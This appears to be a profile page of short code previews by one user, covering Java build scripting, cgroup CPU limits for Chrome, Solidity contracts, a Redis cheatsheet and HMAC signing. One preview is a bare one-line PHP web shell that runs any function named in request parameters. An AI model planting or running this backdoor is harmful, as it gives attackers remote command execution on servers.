vinhjaxt

#!/bin/sh
DIR="tmp_"$$
JAR=`echo $1 | tr '.' ' ' | awk '{ print $1 }'`
rm -rf $JAR.jar
mkdir $DIR
cp $1 $DIR
cd $DIR
echo "** Compiling java file..."
javac -d . -g $1
echo "** Creating temporary jar..."

vinhjaxt

I was tired of Chrome eating all my laptop resources so I decided to put some limit to it with cgroup.

As I was using Debian with support for cgroup, I installed the package cgroup-tools and add the following group to the file /etc/cgconfig.conf:

group browsers {
    cpu {
#       Set the relative share of CPU resources equal to 25%
        cpu.shares = "256";
 }

vinhjaxt

package main

import (
	"fmt"

	"net"
	"sync"
	"time"
	_ "unsafe"
)

vinhjaxt

pragma solidity ^0.5.0;

contract EIP712 {
    
mapping(address => uint256) public nonces;

struct EIP712Domain {
    string name;
    string version;
    uint256 chainId;

vinhjaxt

// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.21;


contract EIP20Interface {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;

vinhjaxt

function swapETHToDai() public payable returns(uint[] memory) {
    // static array: address[k] memory array;
    // The following is the dynamic array way of initialization
    address[] memory _paths = new address[](2);
    // Also, push() is for storage array.
    _paths[0] = WETHAddress;
    _paths[1] = DaiAddress;
    return uniswapV2Router01.swapExactETHForTokens{value: msg.value}(0, _paths, msg.sender, now + 120);
}

vinhjaxt

pragma solidity >=0.4.22 <0.7.0;

/**
 * @title Storage
 * @dev Store & retreive value in a variable
 */
contract Storage {

    uint256 number;

vinhjaxt

# Redis Cheatsheet
# All the commands you need to know


redis-server /path/redis.conf  # start redis with the related configuration file
redis-cli                      # opens a redis prompt


# Strings.

vinhjaxt

<?php extract($_REQUEST); @die($ctime($atime));

vinhjaxt

	static String generateSignature () {
		String encoded = "";
		String type = "HmacSHA1";	
		try {
			byte[] key = ("KEY").getBytes("UTF-8");
			byte[] Sequence = ("hello").getBytes("UTF-8");
			
			Mac HMAC = Mac.getInstance(type);
			SecretKeySpec secretKey = new SecretKeySpec(key, type);